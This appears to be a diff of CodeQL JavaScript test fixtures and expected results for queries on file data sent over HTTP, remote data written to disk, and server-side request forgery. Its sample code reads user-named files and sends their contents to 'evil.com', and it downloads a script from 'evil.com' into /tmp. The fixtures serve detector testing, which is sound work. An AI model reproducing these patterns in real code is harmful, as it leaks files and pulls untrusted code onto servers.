| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | semmle.label | buffer2 ... sRead2) |
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | semmle.label | buffer2 ... sRead2) [ArrayElement] |
| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | semmle.label | buffer2 ... tring() |
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |

View File

@@ -26,3 +26,36 @@ const fsp = require("fs").promises;
console.error("Error reading file:", error);
}
})();
app.post('/readv', async (req, res) => {
const { filename } = req.body;
const fd = await fsp.open(filename, 'r');
const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http]
const bytesRead = fs.readvSync(fd, buffer);
https.get({
hostname: "evil.com",
path: "/upload",
method: "GET",
headers: { Referer: buffer }
}, () => { }); // $ Alert[js/file-access-to-http]
const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
const bytesRead1 = fs.readvSync(fd, [buffer1]);
https.get({
hostname: "evil.com",
path: "/upload",
method: "GET",
headers: { Referer: buffer1.slice(0, bytesRead1).toString() }
}, () => { }); // $ Alert[js/file-access-to-http]
const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
fs.readv(fd, [buffer2], (err, bytesRead2) => {
https.get({
hostname: "evil.com",
path: "/upload",
method: "GET",
headers: { Referer: buffer2.slice(0, bytesRead2).toString() }
}, () => { }); // $ Alert[js/file-access-to-http]
});
});

View File

@@ -1,10 +1,16 @@
#select
| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
edges
| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance | |
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance | |
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance | |
| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance | |
| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance | |
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
| tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance | |
@@ -15,6 +21,11 @@ edges
nodes
| HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d |
| HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d |
| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d |
| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] |
| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d |
| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] |
| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d |
| tst.js:15:26:15:26 | c | semmle.label | c |
| tst.js:16:33:16:33 | c | semmle.label | c |
| tst.js:16:33:16:33 | c | semmle.label | c |

View File

@@ -6,3 +6,16 @@ https.get('https://evil.com/script', res => {
fs.writeFileSync("/tmp/script", d) // $ Alert
});
});
https.get('https://evil.com/script', res => {
res.on("data", d => { // $ Source
fs.open("/tmp/script", 'r', (err, fd) => {
fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert
console.log(`Wrote ${bytesWritten} bytes`);
});
const bytesWritten = fs.writevSync(fd, [d]); // $ Alert
});
});
});

View File

@@ -1,5 +1,6 @@
#select
| apollo.serverSide.ts:8:39:8:64 | get(fil ... => {}) | apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:8:43:8:50 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:8:43:8:50 | file.url | URL | apollo.serverSide.ts:7:36:7:44 | { files } | user-provided value |
| apollo.serverSide.ts:18:37:18:62 | get(fil ... => {}) | apollo.serverSide.ts:17:34:17:42 | { files } | apollo.serverSide.ts:18:41:18:48 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:18:41:18:48 | file.url | URL | apollo.serverSide.ts:17:34:17:42 | { files } | user-provided value |
| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | The $@ of this request depends on a $@. | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | endpoint | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | user-provided value |
| serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
| serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
@@ -31,6 +32,11 @@ edges
| apollo.serverSide.ts:8:13:8:17 | files | apollo.serverSide.ts:8:28:8:31 | file | provenance | |
| apollo.serverSide.ts:8:28:8:31 | file | apollo.serverSide.ts:8:43:8:46 | file | provenance | |
| apollo.serverSide.ts:8:43:8:46 | file | apollo.serverSide.ts:8:43:8:50 | file.url | provenance | |
| apollo.serverSide.ts:17:34:17:42 | files | apollo.serverSide.ts:18:11:18:15 | files | provenance | |
| apollo.serverSide.ts:17:34:17:42 | { files } | apollo.serverSide.ts:17:34:17:42 | files | provenance | |
| apollo.serverSide.ts:18:11:18:15 | files | apollo.serverSide.ts:18:26:18:29 | file | provenance | |
| apollo.serverSide.ts:18:26:18:29 | file | apollo.serverSide.ts:18:41:18:44 | file | provenance | |
| apollo.serverSide.ts:18:41:18:44 | file | apollo.serverSide.ts:18:41:18:48 | file.url | provenance | |
| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | axiosInterceptors.serverSide.js:19:11:19:28 | url | provenance | |
| axiosInterceptors.serverSide.js:19:11:19:28 | url | axiosInterceptors.serverSide.js:20:23:20:25 | url | provenance | |
| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | provenance | |
@@ -91,6 +97,12 @@ nodes
| apollo.serverSide.ts:8:28:8:31 | file | semmle.label | file |
| apollo.serverSide.ts:8:43:8:46 | file | semmle.label | file |
| apollo.serverSide.ts:8:43:8:50 | file.url | semmle.label | file.url |
| apollo.serverSide.ts:17:34:17:42 | files | semmle.label | files |
| apollo.serverSide.ts:17:34:17:42 | { files } | semmle.label | { files } |
| apollo.serverSide.ts:18:11:18:15 | files | semmle.label | files |
| apollo.serverSide.ts:18:26:18:29 | file | semmle.label | file |
| apollo.serverSide.ts:18:41:18:44 | file | semmle.label | file |
| apollo.serverSide.ts:18:41:18:48 | file.url | semmle.label | file.url |
| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | semmle.label | userProvidedUrl |
| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | semmle.label | { url } |
| axiosInterceptors.serverSide.js:19:11:19:28 | url | semmle.label | url |

View File

@@ -14,8 +14,8 @@ function createApolloServer(typeDefs) {
const resolvers2 = {
Mutation: {
downloadFiles: async (_, { files }) => { // $ MISSING: Source[js/request-forgery]
files.forEach((file) => { get(file.url, (res) => {}); }); // $ MISSING: Alert[js/request-forgery] Sink[js/request-forgery]
downloadFiles: async (_, { files }) => { // $ Source[js/request-forgery]
files.forEach((file) => { get(file.url, (res) => {}); }); // $ Alert[js/request-forgery] Sink[js/request-forgery]
return true;
},
},